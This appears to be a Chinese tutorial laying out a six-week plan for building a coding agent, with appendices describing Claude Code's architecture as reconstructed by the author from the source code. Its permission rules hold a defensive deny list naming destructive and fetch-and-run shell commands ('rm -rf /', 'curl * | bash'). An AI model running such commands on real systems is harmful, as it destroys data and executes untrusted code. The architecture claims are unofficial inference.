- [ ] 所有工具有三个元信息标注
- [ ] 参数校验在执行前完成
- [ ] 工具描述包含使用场景和安全规则
- [ ] 新增工具必须通过 lint 检查

### 第三步：权限系统（第三周）

**目标：** 命令执行有安全网。三层防御起步。

**目录结构：**
```
agent/
├── permissions/
│   ├── index.ts           ← 权限检查入口
│   ├── rules.ts           ← 黑白名单规则
│   ├── pattern.ts         ← 前缀/通配符匹配
│   ├── sandbox.ts         ← 沙箱执行
│   └── types.ts           ← PermissionResult 类型
```

**核心代码：**
```typescript
// permissions/index.ts
interface PermissionResult {
  allowed: boolean;
  reason: string;
  layer: string;  // 哪一层拒绝的
}

async function checkPermission(command: string): Promise<PermissionResult> {
  // 第一层：规则匹配（黑白名单）
  const ruleResult = checkRules(command);
  if (!ruleResult.allowed) return { ...ruleResult, layer: 'rules' };

  // 第二层：模式匹配（危险命令前缀）
  const patternResult = checkPatterns(command);
  if (!patternResult.allowed) return { ...patternResult, layer: 'pattern' };

  // 第三层：沙箱检测（命令是否涉及敏感路径）
  const sandboxResult = checkSandbox(command);
  if (!sandboxResult.allowed) return { ...sandboxResult, layer: 'sandbox' };

  // 全部通过
  return { allowed: true, reason: 'All checks passed', layer: 'all' };
}

// BashTool 中集成
class BashTool extends BaseTool {
  async execute(args: { command: string }): Promise<ToolResult> {
    const permission = await checkPermission(args.command);

    if (!permission.allowed) {
      // 拒绝 + 告知 LLM 哪一层拒绝的
      return {
        success: false,
        error: `Permission denied by ${permission.layer}: ${permission.reason}`,
        suggestion: 'Try a different approach or ask the user for permission.'
      };
    }

    // 通过则执行
    return await execCommand(args.command);
  }
}
```

**规则配置（用户可编辑）：**
```yaml
# permissions/rules.yaml
rules:
  deny:
    - pattern: "rm -rf /"
    - pattern: "curl * | bash"
    - pattern: "sudo *"
  allow:
    - pattern: "ls *"
    - pattern: "cat *"
    - pattern: "git status"
  ask:
    - pattern: "git push *"
    - pattern: "npm install *"
    - pattern: "docker *"
```

**验收标准：**
- [ ] 危险命令被拦截，LLM 收到明确的错误信息
- [ ] 用户可通过配置文件自定义规则
- [ ] 每层拒绝都有日志记录
- [ ] 默认行为是拒绝（deny by default）
- [ ] 解析失败时拒绝（fail-safe）

### 第四步：上下文管理（第四周）

**目标：** 对话不会因为太长而崩溃。三层防御。

**目录结构：**
```
agent/
├── context/
│   ├── tracker.ts         ← token 实时追踪
│   ├── compact.ts         ← 自动压缩
│   ├── budget.ts          ← token 预算管理
│   └── types.ts           ← ContextState 类型
```

**核心代码：**
```typescript
// context/tracker.ts
class TokenTracker {
  private used: number = 0;
  private budget: number;

  constructor(budget: number) {
    this.budget = budget;
  }

  track(messages: Message[]): void {
    this.used = messages.reduce((sum, m) => sum + estimateTokens(m), 0);
  }

  getUsagePercent(): number {
    return (this.used / this.budget) * 100;
  }

  // 三级告警
  getStatus(): 'ok' | 'warning' | 'critical' | 'collapse' {
    const pct = this.getUsagePercent();
    if (pct < 60) return 'ok';
    if (pct < 75) return 'warning';
    if (pct < 90) return 'critical';
    return 'collapse';
  }
}

// context/compact.ts
async function autoCompact(messages: Message[], tracker: TokenTracker): Promise<Message[]> {
  const status = tracker.getStatus();

  switch (status) {
    case 'ok':
      return messages;  // 不需要压缩

    case 'warning':
      // 轻度压缩：合并相邻的同角色消息
      return mergeConsecutive(messages);

    case 'critical':
      // 中度压缩：用 LLM 总结历史对话
      return await llmCompact(messages, { preserveLastN: 10 });

    case 'collapse':
      // 重度压缩：只保留系统提示词 + 最近 5 条 + 关键事实
      return await contextCollapse(messages, { keepLastN: 5 });
  }
}
```

**在 Agent Loop 中集成：**
```typescript
// loop.ts（修改版）
async function* agentLoop(messages: Message[], tools: Tool[]) {
  const tracker = new TokenTracker(MAX_TOKENS);

  while (true) {
    // 每轮开始前检查上下文
    tracker.track(messages);
    messages = await autoCompact(messages, tracker);

    // 原有逻辑...
    const response = await streamLLM(messages, tools);
    // ...
  }
}
```

**验收标准：**
- [ ] 60% / 75% / 90% 三级告警正常工作
- [ ] 压缩后 LLM 行为没有明显退化
- [ ] 压缩边界有标记（方便调试和审计）
- [ ] 用户可以查看当前 token 使用情况
- [ ] 压缩过程中不会丢失正在执行的任务

### 第五步：子 Agent 编排（第五周）

**目标：** 能派工人，并行执行，结果汇总。

**目录结构：**
```
agent/
├── agents/
│   ├── runner.ts          ← 子 Agent 启动器
│   ├── coordinator.ts     ← 协调者逻辑
│   ├── pool.ts            ← 工人池管理
│   └── types.ts           ← AgentTask / AgentResult 类型
```

**核心代码：**
```typescript
// agents/runner.ts
// 关键：子 Agent 复用主 Agent 的 query 函数
async function runSubAgent(task: AgentTask): Promise<AgentResult> {
  const subMessages: Message[] = [
    { role: 'system', content: SUB_AGENT_SYSTEM_PROMPT },
    { role: 'user', content: task.description }
  ];

  // 复用主循环！只是输入不同
  const result = await collectAll(agentLoop(subMessages, getTools()));
  return { taskId: task.id, result };
}

// agents/coordinator.ts
class Coordinator {
  private pool: WorkerPool;

  async handleRequest(userMessage: string): Promise<string> {
    // 1. 分析任务，决定是自己做还是派工人
    const plan = await this.analyzeTask(userMessage);

    if (plan.shouldDelegate) {
      // 2. 派工人（并行）
      const tasks = plan.subtasks.map(t => ({
        id: generateId(),
        description: t.description
      }));

      const results = await Promise.all(
        tasks.map(task => runSubAgent(task))
      );

      // 3. 汇总结果
      return await this.summarize(results);
    } else {
      // 简单任务，自己做
      return await this.executeDirectly(userMessage);
    }
  }
}
```

**通知协议（工人 → 协调者）：**
```xml
<!-- 工人完成后的标准通知格式 -->
<agent_result>
  <task_id>task-001</task_id>
  <status>success</status>
  <summary>找到了 3 个相关文件并完成了分析</summary>
  <details>
    <file path="/src/auth.ts" finding="有 SQL 注入风险" />
    <file path="/src/user.ts" finding="缺少输入校验" />
    <file path="/src/api.ts" finding="CORS 配置过于宽松" />
  </details>
  <tokens_used>1523</tokens_used>
</agent_result>
```

**验收标准：**
- [ ] 协调者能把复杂任务拆成子任务派给工人
- [ ] 工人之间能并行执行
- [ ] 工人结果能正确汇总给用户
- [ ] 协调者本身不执行工具（只调度）
- [ ] 有嵌套深度限制（防止无限递归）

### 第六步：产品打磨（第六周）

**目标：** 把前五步串成真正能用的产品。这一周不做新功能，只做胶水和打磨。

**优先级排序（按投入产出比）：**

**P0 — 必须有（前 3 天）：**
```
1. 记忆系统
   ├── 对话结束时调 LLM 提取 3-5 条关键事实
   ├── 存为 memdir/{project}/{date}.md（纯文本，用户可读）
   ├── 新对话开始时语义检索 top-3 相关注入系统提示词
   └── /memory 命令让用户查看/编辑/删除
```

```typescript
// memory/index.ts — 记忆系统核心（~30 行）
class MemorySystem {
  constructor(private memdir: string) {}

  // 对话结束时自动调用
  async consolidate(messages: Message[]): Promise<void> {
    const extraction = await llmComplete([
      { role: 'system', content: `从以下对话中提取 3-5 条值得长期记住的事实。
格式：每条一行，以 "- " 开头。只记事实，不记过程。` },
      { role: 'user', content: messagesToText(messages) }
    ]);
    const facts = extraction.split('\n').filter(l => l.startsWith('- '));
    await fs.appendFile(this.todayPath(), '\n' + facts.join('\n'));
  }

  // 新对话开始时调用
  async recall(query: string): Promise<string> {
    const allFiles = await glob(`${this.memdir}/**/*.md`);
    const contents = await Promise.all(allFiles.map(f => fs.readFile(f, 'utf8')));
    const ranked = await semanticRank(query, contents);
    return ranked.slice(0, 3).join('\n---\n');
  }

  // 用户审计入口
  async list(): Promise<string> {
    return await fs.readFile(this.todayPath(), 'utf8');
  }

  private todayPath(): string {
    return path.join(this.memdir, `${new Date().toISOString().slice(0,10)}.md`);
  }
}
```

**P1 — 强烈建议（第 4-5 天）：**
```
2. 流式输出 + 进度指示
   ├── 工具调用时 yield "🔧 正在执行 BashTool..."
   ├── 并行工具同时显示多个进度
   └── 危险操作前暂停，显示命令内容等用户确认
```

```typescript
// loop.ts 中集成进度指示
for (const call of toolCalls) {
  yield { type: 'tool_start', tool: call.name, args: call.args };

  // 危险操作 → 确认
  const tool = findTool(call.name);
  if (tool.isDestructive?.(call.args)) {
    yield { type: 'confirm', message: `⚠️ 即将执行: ${call.args.command}\n确认？` };
    // 等用户确认...
  }

  const result = await tool.execute(call.args);
  yield { type: 'tool_end', tool: call.name, result };
}
```

**P2 — 有余力再做（第 6 天）：**
```
3. MCP 外部工具接入
   ├── 定义 McpTool 基类，自动把 MCP server 的工具注册为本地工具
   └── 权限沿用现有三层防御体系

4. 监控日志
   ├── 每轮对话记录：token 用量、工具调用数、耗时
   └── 异常事件写入 logs/ 目录，方便排查
```

**验收标准：**
- [ ] 跨会话能记住用户的偏好和项目上下文
- [ ] 用户能查看 Agent 记住了什么
- [ ] 支持 MCP 协议的外部工具接入
- [ ] 流式输出 + 进度指示 + 确认机制完整
- [ ] 有基本的监控和日志

### 六周总览

| 周次 | 交付物 | 核心文件 | 验收标准 |
|------|--------|----------|----------|
| 第一周 | 能跑的 Agent Loop | loop.ts, tools/, llm.ts | 基本对话 + 3 个工具 |
| 第二周 | 工具系统完善 | tools/base.ts, tools/index.ts | 描述准确 + 参数校验 + lint |
| 第三周 | 权限系统 | permissions/ | 三层防御 + deny by default |
| 第四周 | 上下文管理 | context/ | 三级压缩 + token 追踪 |
| 第五周 | 子 Agent 编排 | agents/ | 并行执行 + 结果汇总 |
| 第六周 | 产品打磨 | memory/, 插件, UX | 跨会话记忆 + MCP + 流式输出 |

## 附录 A：Claude Code 完整架构总览

下面这张图覆盖了 Claude Code 的所有模块、它们之间的数据流和依赖关系。

```
┌─────────────────────────────────────────────────────────────────────────────────┐
│                          Claude Code — 完整架构总览                               │
│                                                                                  │
│  ╔═══════════════════════════════════════════════════════════════════════════╗  │
│  ║                           入口层 (Entry Points)                           ║  │
│  ║  ┌──────────┐  ┌──────────┐  ┌──────────────┐  ┌─────────────────────┐  ║  │
│  ║  │   CLI    │  │   SDK    │  │ Remote Bridge│  │ IDE Extension       │  ║  │
│  ║  │-t/--print│  │ query()  │  │ claude.ai    │  │ VSCode / JetBrains  │  ║  │
│  ║  │interactive│ │ session()│  │ WebSocket    │  │ Inline Suggestions  │  ║  │
│  ║  └────┬─────┘  └────┬─────┘  └──────┬───────┘  └──────────┬──────────┘  ║  │
│  ╚═══════╪══════════════╪══════════════╪═════════════════════╪══════════════╝  │
│          └──────────────┴──────┬───────┴─────────────────────┘                  │
│                                ▼                                                 │
│  ╔═══════════════════════════════════════════════════════════════════════════╗  │
│  ║                          核心引擎 (Core Engine)                           ║  │
│  ║                                                                           ║  │
│  ║  ┌─ query.ts ─────────────────────────────────────────────────────────┐  ║  │
│  ║  │                                                                    │  ║  │
│  ║  │    messages ──► streamLLM() ──► tool_calls ──► runTools()          │  ║  │
│  ║  │         ▲                                      │                   │  ║  │
│  ║  │         └──────── results ◄────────────────────┘                   │  ║  │
│  ║  │                                                                    │  ║  │
│  ║  │    while (!done) {                                                  │  ║  │
│  ║  │      streamClaudeResponse(model, messages, tools)                   │  ║  │
│  ║  │      → collect tool_calls                                          │  ║  │
│  ║  │      → runTools()  // parallel read / serial write                 │  ║  │
│  ║  │      → append results to messages                                  │  ║  │
│  ║  │    }                                                                │  ║  │
│  ║  └────────────────────────────────────────────────────────────────────┘  ║  │
│  ║                                                                           ║  │
│  ║  ┌─ 系统提示词 (System Prompt) ──────────────────────────────────────┐   ║  │
│  ║  │  工具描述 │ 安全规则 │ 项目上下文 │ 操作指南 │ 输出格式要求        │   ║  │
│  ║  └───────────────────────────────────────────────────────────────────┘   ║  │
│  ║                                                                           ║  │
│  ╚═══════════════════════════════════════════════════════════════════════════╝  │
│                                │                                                │
│              ┌─────────────────┼─────────────────┐                              │
│              ▼                 ▼                 ▼                              │
│  ╔═══════════════╗  ╔═══════════════╗  ╔══════════════════╗                     │
│  ║  工具系统      ║  ║  安全层       ║  ║  上下文管理       ║                     │
│  ║               ║  ║               ║  ║                   ║                     │
│  ║ Tool.ts       ║  ║ bashPermis-   ║  ║ autoCompact       ║                     │
│  ║ (interface)   ║  ║ sions.ts      ║  ║   ↓               ║                     │
│  ║               ║  ║               ║  ║ reactiveCompact   ║                     │
│  ║ ┌───────────┐ ║  ║ L1: AST解析   ║  ║   ↓               ║                     │
│  ║ │ BashTool  │─╫──╫─ L2: 精确匹配 ║  ║ contextCollapse   ║                     │
│  ║ │ FileRead  │ ║  ║ L3: 前缀通配  ║  ║                   ║                     │
│  ║ │ FileEdit  │ ║  ║ L4: 语义分析  ║  ║ tokenTracker      ║                     │
│  ║ │ FileWrite │ ║  ║ L5: 路径约束  ║  ║ 任务级 + 轮级     ║                     │
│  ║ │ GlobTool  │ ║  ║ L6: ML+沙箱  ║  ║                   ║                     │
│  ║ │ GrepTool  │ ║  ║               ║  ║ compact_boundary  ║                     │
│  ║ │ WebSearch │ ║  ║ fail-safe:    ║  ║ 标记              ║                     │
│  ║ │ WebFetch  │ ║  ║ 默认拒绝      ║  ║                   ║                     │
│  ║ │ AgentTool │ ║  ╚═══════════════╝  ╚══════════════════╝                     │
│  ║ │ MCPTool   │ ║        │                    │                                 │
│  ║ │ TodoWrite │ ║        │                    │                                 │
│  ║ │ SkillTool │ ║        │                    │                                 │
│  ║ └───────────┘ ║        │                    │                                 │
│  ║               ║        │                    │                                 │
│  ║ isReadOnly    ║        │                    │                                 │
│  ║ isConcurSafe  ║        │                    │                                 │
│  ║ isDestructive ║        │                    │                                 │
│  ╚═══════════════╝        │                    │                                 │
│         │                 │                    │                                 │
│         ▼                 ▼                    ▼                                 │
│  ╔═══════════════════════════════════════════════════════════════════════════╗  │
│  ║                       工具调度 (toolOrchestration.ts)                      ║  │
│  ║                                                                           ║  │
│  ║   工具调用列表 ──► 按 isReadOnly 分区                                     ║  │
│  ║                      │                                                    ║  │
│  ║              ┌───────┴───────┐                                            ║  │
│  ║              ▼               ▼                                            ║  │
│  ║     并行执行 (Promise.all)   串行执行 (顺序)                               ║  │
│  ║     isReadOnly=true         isReadOnly=false                              ║  │
│  ║     isConcurrencySafe=true  isDestructive=true                            ║  │
│  ║              │               │                                            ║  │
│  ║              └───────┬───────┘                                            ║  │
│  ║                      ▼                                                    ║  │
│  ║              流式返回结果给用户                                            ║  │
│  ╚═══════════════════════════════════════════════════════════════════════════╝  │
│                                │                                                │
│              ┌─────────────────┼─────────────────┐                              │
│              ▼                 ▼                 ▼                              │
│  ╔═══════════════╗  ╔═══════════════╗  ╔══════════════════╗                     │
│  ║  子 Agent 系统 ║  ║  记忆系统      ║  ║  扩展系统        ║                     │
│  ║               ║  ║               ║  ║                   ║                     │
│  ║ runAgent()    ║  ║ memdir/       ║  ║ MCP Servers       ║                     │
│  ║ └─ query()    ║  ║               ║  ║ ├─ FileSystem     ║                     │
│  ║   (复用主循环) ║  ║ consolidate-  ║  ║ ├─ GitHub         ║                     │
│  ║               ║  ║ Prompt        ║  ║ ├─ Slack          ║                     │
│  ║ 内置 Agent:   ║  ║ (自动提取)     ║  ║ └─ 自定义...      ║                     │
│  ║ ├─ general    ║  ║               ║  ║                   ║                     │
│  ║ ├─ explore    ║  ║ findRelevant- ║  ║ Skills            ║                     │
│  ║ ├─ plan       ║  ║ Memories      ║  ║ ├─ /命令触发       ║                     │
│  ║ └─ verify     ║  ║ (语义检索)     ║  ║ └─ 按需加载       ║                     │
│  ║               ║  ║               ║  ║                   ║                     │
│  ║ 模式:         ║  ║ 生命周期:     ║  ║ Plugins           ║                     │
│  ║ ├─ Fork       ║  ║ 创建→检索→     ║  ║ └─ 外部服务集成   ║                     │
│  ║ │  (上下文继承)║  ║   过期→删除   ║  ║                   ║                     │
│  ║ ├─ Coordinator║  ║               ║  ║ Slash Commands    ║                     │
│  ║ │  (多工人调度)║  ║ 可审计:       ║  ║ └─ /compact 等    ║                     │
│  ║ └─ Parallel   ║  ║ 用户可查看/   ║  ║                   ║                     │
│  ║    (并行执行)  ║  ║ 编辑/删除     ║  ╚══════════════════╝                     │
│  ╚═══════════════╝  ╚═══════════════╝                                          │
│         │                 │                                                     │
│         │    ┌────────────┘                                                     │
│         │    │                                                                  │
│         ▼    ▼                                                                  │
│  ╔═══════════════════════════════════════════════════════════════════════════╗  │
│  ║                        基础设施 (Infrastructure)                          ║  │
│  ║                                                                           ║  │
│  ║  ┌─────────────┐  ┌──────────────┐  ┌────────────┐  ┌────────────────┐  ║  │
│  ║  │ Analytics   │  │ Feature Flags│  │ Prompt     │  │ Transcript     │  ║  │
│  ║  │ (遥测)      │  │ (A/B 测试)   │  │ Cache      │  │ (对话记录)      │  ║  │
│  ║  └─────────────┘  └──────────────┘  └────────────┘  └────────────────┘  ║  │
│  ║                                                                           ║  │
│  ║  ┌─────────────┐  ┌──────────────┐  ┌────────────┐  ┌────────────────┐  ║  │
│  ║  │ tree-sitter │  │ JSON Schema  │  │ 流式 SSE   │  │ 错误恢复       │  ║  │
│  ║  │ (AST 解析)  │  │ (参数校验)   │  │ (响应格式)  │  │ (重试/降级)    │  ║  │
│  ║  └─────────────┘  └──────────────┘  └────────────┘  └────────────────┘  ║  │
│  ╚═══════════════════════════════════════════════════════════════════════════╝  │
└─────────────────────────────────────────────────────────────────────────────────┘
```

## 附录 B：模块关系矩阵

这张表说明了各模块之间的依赖方向——行依赖列。

```
                  │ Loop │ Tools │ Safety │ Context │ Agent │ Memory │ Extensions │ Infra │
──────────────────┼──────┼───────┼────────┼─────────┼───────┼────────┼────────────┼───────┤
Loop (query.ts)   │  ──  │  →    │   →    │   →     │  →    │        │     →      │  →    │
Tools (Tool.ts)   │      │  ──   │   →    │         │       │        │     →      │  →    │
Safety (perms)    │      │       │   ──   │         │       │        │            │  →    │
Context (compact) │      │       │        │   ──    │       │        │            │  →    │
Sub-Agent         │  →   │  →    │   →    │   →     │  ──   │        │     →      │  →    │
Memory            │      │       │        │         │       │  ──    │            │  →    │
Extensions (MCP)  │      │  →    │   →    │         │       │        │    ──      │  →    │
Infrastructure    │      │       │        │         │       │        │            │  ──   │

→ 表示 "依赖" 或 "调用"
```

**关键依赖链：**

```
Loop ──→ Tools ──→ Safety（每个工具执行都经过权限检查）
  │                │
  │                ▼
  │          Safety ──→ Infra (tree-sitter, 沙箱)
  │
  ├──→ Context ──→ Infra (token 计算, 压缩算法)
  │
  ├──→ Sub-Agent ──→ Loop（子 Agent 复用主循环）
  │         │
  │         └──→ Tools（子 Agent 使用相同的工具集）
  │
  ├──→ Extensions ──→ Tools（MCP 工具注册为普通工具）
  │         │
  │         └──→ Safety（MCP 工具同样受权限检查）
  │
  └──→ Memory ──→ Infra (文件存储, 语义索引)
```

## 附录 C：从架构到代码的文件映射

```
architecture/           source/
├── Entry Points  ──►  ├── src/cli.ts
│                      ├── src/sdk/index.ts
│                      └── src/remote/
│
├── Core Engine   ──►  ├── src/query.ts              ← 主循环
│                      ├── src/streaming.ts           ← 流式响应
│                      └── src/messages.ts            ← 消息处理
│
├── Tool System   ──►  ├── src/Tool.ts                ← 接口定义
│                      ├── src/tools/
│                      │   ├── bash.ts                ← shell 执行
│                      │   ├── fileRead.ts            ← 文件读取
│                      │   ├── fileEdit.ts            ← 文件编辑
│                      │   ├── fileWrite.ts           ← 文件写入
│                      │   ├── glob.ts / grep.ts      ← 搜索
│                      │   ├── webSearch.ts           ← 网页搜索
│                      │   ├── agent.ts               ← 子 Agent
│                      │   ├── mcp.ts                 ← MCP 集成
│                      │   ├── todoWrite.ts           ← 待办
│                      │   └── skill.ts               ← 技能命令
│                      └── src/toolOrchestration.ts   ← 调度
│
├── Safety Layer  ──►  ├── src/bashPermissions.ts     ← 权限入口
│                      ├── src/permissions/
│                      │   ├── rules.ts               ← 规则匹配
│                      │   ├── pattern.ts             ← 模式匹配
│                      │   ├── sandbox.ts             ← 沙箱
│                      │   └── classifier.ts          ← ML 分类
│                      └── src/constants.ts           ← 黑白名单常量
│
├── Context Mgmt  ──►  ├── src/autoCompact.ts         ← 自动压缩
│                      ├── src/context/
│                      │   ├── tracker.ts             ← token 追踪
│                      │   ├── budget.ts              ← 预算管理
│                      │   └── collapse.ts            ← 上下文坍缩
│                      └── src/constants.ts           ← 阈值配置
│
├── Sub-Agent     ──►  ├── src/agents/
│                      │   ├── runAgent.ts            ← Agent 启动器
│                      │   ├── coordinator.ts         ← 协调者
│                      │   ├── worker.ts              ← 工人
│                      │   └── types.ts               ← 类型定义
│                      └── src/prompts/
│                          ├── coordinator.md         ← 协调者提示词
│                          ├── worker.md              ← 工人提示词
│                          └── agents/                ← 内置 Agent 提示词
│
├── Memory        ──►  ├── src/memory/
│                      │   ├── consolidate.ts         ← 自动整理
│                      │   ├── retrieve.ts            ← 语义检索
│                      │   └── storage.ts             ← 持久化
│                      └── memdir/                    ← 存储目录
│
├── Extensions    ──►  ├── src/mcp/
│                      │   ├── client.ts              ← MCP 客户端
│                      │   └── server.ts              ← MCP 服务端
│                      ├── src/skills/                ← 技能目录
│                      └── src/plugins/               ← 插件目录
│
└── Infrastructure──►  ├── src/analytics.ts           ← 遥测
                       ├── src/featureFlags.ts        ← 特性开关
                       ├── src/promptCache.ts         ← 提示词缓存
                       ├── src/transcript.ts          ← 对话记录
                       └── src/utils/                 ← 工具函数
```

## 附录 D：数据流全貌

从用户输入到最终输出，数据经过的完整路径：

```
用户输入
  │
  ▼
┌─────────────────┐
│ 1. 入口解析      │  CLI 参数 / SDK 调用 / IDE 请求
│    (Entry Point) │  → 解析为 messages[] + tools[]
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│ 2. 上下文准备    │  加载记忆 → 合并项目上下文 → 生成系统提示词
│    (Context Prep)│  → 完整的 messages 序列
└────────┬────────┘
         │
         ▼
┌─────────────────────────────────────────────────────────┐
│ 3. Agent Loop (while not done)                          │
│    ┌──────────────────────────────────────────────────┐ │
│    │ messages ──→ streamLLM() ──→ tool_calls[]        │ │
│    │                                     │            │ │
│    │                        ┌────────────┼──────────┐ │ │
│    │                        ▼            ▼          ▼ │ │
│    │                   只读工具      写操作工具    确认类 │ │
│    │                   (并行执行)    (串行执行)    (等用户)│ │
│    │                        │            │          │ │ │
│    │                        └────────────┼──────────┘ │ │
│    │                                     ▼            │ │
│    │                        ┌─── 安全检查层 ───┐      │ │
│    │                        │ AST → 规则 → 语义│      │ │
│    │                        │ → 路径 → ML → 沙箱│      │ │
│    │                        └────────┬─────────┘      │ │
│    │                                 ▼                │ │
│    │                    tool_results[] ──→ 追加到 messages │
│    │                                           │      │ │
│    │                    ┌──────────────────────┘      │ │
│    │                    ▼                             │ │
│    │              流式返回给用户 (部分结果实时可见)      │ │
│    └──────────────────────────────────────────────────┘ │
└────────────────────┬────────────────────────────────────┘
                     │ (LLM 返回纯文本 → 循环结束)
                     ▼
┌─────────────────┐
│ 4. 子 Agent 分支  │  如果循环中触发 AgentTool:
│    (可选)         │  → spawn sub-agent (复用同一套 loop)
│                  │  → sub-agent 完成 → 通知父 Agent
│                  │  → 结果并入 messages
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│ 5. 会话结束      │  提取关键信息 → 存入记忆 → 写入 transcript
│    (Cleanup)     │  → 清理临时资源
└─────────────────┘
```

**关键数据流特征：**
- **步骤 3 的并行/串行分区**是整个系统性能的关键——只读工具并行、写操作串行，由工具元信息决定
- **安全检查是拦截层**，不是决策层——工具调度已经分好区，安全层只做 pass/fail 判断
- **子 Agent 是循环嵌套**——步骤 4 的 sub-agent 复用步骤 3 的同一套 loop，不是独立路径

---

_基于 Claude Code 源码逆向分析。产品设计方法论提炼，非官方文档。_